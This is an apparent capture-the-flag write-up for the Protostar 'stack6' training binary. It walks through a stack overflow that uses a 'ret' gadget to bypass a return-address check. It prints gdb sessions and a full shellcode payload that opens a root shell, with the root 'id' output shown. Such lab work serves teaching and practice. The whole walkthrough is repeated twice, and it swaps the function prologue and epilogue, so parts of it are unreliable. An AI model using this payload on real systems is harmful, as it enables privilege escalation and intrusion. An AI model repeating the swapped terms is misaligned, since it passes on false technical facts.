Exploit Exercises - Protostar Stack 6

We can see it uses a function __builtin_return_address() . This function returns the return address of the current function. Read more about it here.

The program looks almost like stack5 with a small difference:

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

If the return address starts with 0xff of 0xbf the program stops. You can check result of & operation using python:

$ python -c "print hex(0xffffffff & 0xbf000000)"
0xbf000000
$ python -c "print hex(0xbfffffff & 0xbf000000)"
0xbf000000

If we run gdb and look at registers after execution of the program we understand that 0xbf... is simply stack addresses:

(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6 
...
(gdb) info registers 
...
esp            0xbffff690    0xbffff690
ebp            0xbffff698    0xbffff698
...

That means that if the return address points to the stack the program exits. That’s why we were told to use ret2libc or ROP. I have an article on this topic I will about it some time later. Actually, they didn’t mention one more way - jmp esp technique. In this case, the return address (address of the gadget jmp esp) will not be on the stack, it can be found anywhere, even in a shared library. Actually it semi-ROP technique and it’s pretty easy to do, so this is how I plan to do this task.

To be a bit clearer I need to explain how it works.

Every function has an epilogue and a prologue. An epilogue looks like:

push ebp
mov    ebp, esp

It saves old ebp and moves epb “closer” to esp (equal actually) so that a new function had new stack base address.

A prologue looks like:

mov    esp, ebp
pop    ebp
ret

It cleares local variables (mov esp, ebp) and restores ebp. When our program runs ret instruction it already has esp register restored. It will point to the return address on the stack. After ret is executed esp register will be reduced by 4 bytes (size of the address in 32-bit system). So if an exploit looks like JUNK + RET +SHELLCODE, esp will point right to our shellcode.

Now when we know what to do and how it works. It is time to find jmp esp gadget. I’ll be using peda as it more informative than standard gdb and has some cool features.

As I didn’t want to mess with a virtual machine I copied the executable file to my local machine to find offsets:

$ scp user@<ip>:/opt/protostar/bin/stack6 ./

From the command below we know that our stack has no NX bit set:

$ scanelf -e stack6
 TYPE   STK/REL/PTL FILE 
ET_EXEC **RWX** --- RW- stack6 

Additionally, you can install and run exectack program:

$ sudo apt install execstack
$ execstack stack6
X stack6

That means that we can easily execute code on the stack.

Now we run gdb and look for gadgets:

$ gdb stack6
...
gdb-peda$ dumprop 
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
0x804835e: leave; ret
0x80484f7: dec ecx; ret
0x8048453: pop ebp; ret
0x8048480: ror cl,1; ret
0x8048512: in eax,0x5d; ret
0x804857b: sbb al,0x24; ret
0x804857a: mov ebx,[esp]; ret
...
0x80484f4: enter 0xfffe,0xff; leave; ret
0x8048576: pop esi; pop edi; pop ebp; ret
--More--(25/85)

We see that there is no jmp esp gadget, but the first one is ret and it looks promising. It is not on the stack and it will jump to the next address on the stack. If you use it, then our exploit should look like JUNK + ADDR_OF_GADGET + ADDR_OF_SHELLCODE + SHELLCODE.

The address of the gadget ret is 0x80484f9

Now we find offset before eip like we did for stack5:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/exploit.txt
$ gdb stack6
...
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
**0x37634136** in ?? ()
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q **0x37634136**
[*] Exact match at offset **80**

So we need to rewrite 80 bytes. Now we can create our shellcode:

python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

As we remember addresses in debugger might distiguish beacuse of environment variables. So we need to unset unneeded variables and run the program:

(gdb) show env
LINES=42
COLUMNS=71
(gdb) unset env LINES   
(gdb) unset env COLUMNS
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffbe4:    0xdb31c031

So the shellcode is at 0xbffffbe4. Repalce AAAA with this address. Don’t forget we are on little-endian machine:

python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

Run program with exploit.txt as input and get root:

$ /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Also you can run exploit like:

(python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"; cat;) | /opt/protostar/bin/stack6

We can see it uses a function __builtin_return_address() . This function returns the return address of the current function. Read more about it here.

The program looks almost like stack5 with a small difference:

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

If the return address starts with 0xff of 0xbf the program stops. You can check result of & operation using python:

$ python -c "print hex(0xffffffff & 0xbf000000)"
0xbf000000
$ python -c "print hex(0xbfffffff & 0xbf000000)"
0xbf000000

If we run gdb and look at registers after execution of the program we understand that 0xbf... is simply stack addresses:

(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6 
...
(gdb) info registers 
...
esp            0xbffff690    0xbffff690
ebp            0xbffff698    0xbffff698
...

That means that if the return address points to the stack the program exits. That’s why we were told to use ret2libc or ROP. I have an article on this topic I will about it some time later. Actually, they didn’t mention one more way - jmp esp technique. In this case, the return address (address of the gadget jmp esp) will not be on the stack, it can be found anywhere, even in a shared library. Actually it semi-ROP technique and it’s pretty easy to do, so this is how I plan to do this task.

To be a bit clearer I need to explain how it works.

Every function has an epilogue and a prologue. An epilogue looks like:

push ebp
mov    ebp, esp

It saves old ebp and moves epb “closer” to esp (equal actually) so that a new function had new stack base address.

A prologue looks like:

mov    esp, ebp
pop    ebp
ret

It cleares local variables (mov esp, ebp) and restores ebp. When our program runs ret instruction it already has esp register restored. It will point to the return address on the stack. After ret is executed esp register will be reduced by 4 bytes (size of the address in 32-bit system). So if an exploit looks like JUNK + RET +SHELLCODE, esp will point right to our shellcode.

Now when we know what to do and how it works. It is time to find jmp esp gadget. I’ll be using peda as it more informative than standard gdb and has some cool features.

As I didn’t want to mess with a virtual machine I copied the executable file to my local machine to find offsets:

$ scp user@<ip>:/opt/protostar/bin/stack6 ./

From the command below we know that our stack has no NX bit set:

$ scanelf -e stack6
 TYPE   STK/REL/PTL FILE 
ET_EXEC **RWX** --- RW- stack6 

Additionally, you can install and run exectack program:

$ sudo apt install execstack
$ execstack stack6
X stack6

That means that we can easily execute code on the stack.

Now we run gdb and look for gadgets:

$ gdb stack6
...
gdb-peda$ dumprop 
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
0x804835e: leave; ret
0x80484f7: dec ecx; ret
0x8048453: pop ebp; ret
0x8048480: ror cl,1; ret
0x8048512: in eax,0x5d; ret
0x804857b: sbb al,0x24; ret
0x804857a: mov ebx,[esp]; ret
...
0x80484f4: enter 0xfffe,0xff; leave; ret
0x8048576: pop esi; pop edi; pop ebp; ret
--More--(25/85)

We see that there is no jmp esp gadget, but the first one is ret and it looks promising. It is not on the stack and it will jump to the next address on the stack. If you use it, then our exploit should look like JUNK + ADDR_OF_GADGET + ADDR_OF_SHELLCODE + SHELLCODE.

The address of the gadget ret is 0x80484f9

Now we find offset before eip like we did for stack5:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/exploit.txt
$ gdb stack6
...
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
**0x37634136** in ?? ()
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q **0x37634136**
[*] Exact match at offset **80**

So we need to rewrite 80 bytes. Now we can create our shellcode:

python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

As we remember addresses in debugger might distiguish beacuse of environment variables. So we need to unset unneeded variables and run the program:

(gdb) show env
LINES=42
COLUMNS=71
(gdb) unset env LINES   
(gdb) unset env COLUMNS
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffbe4:    0xdb31c031

So the shellcode is at 0xbffffbe4. Repalce AAAA with this address. Don’t forget we are on little-endian machine:

python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

Run program with exploit.txt as input and get root:

$ /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Also you can run exploit like:

(python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"; cat;) | /opt/protostar/bin/stack6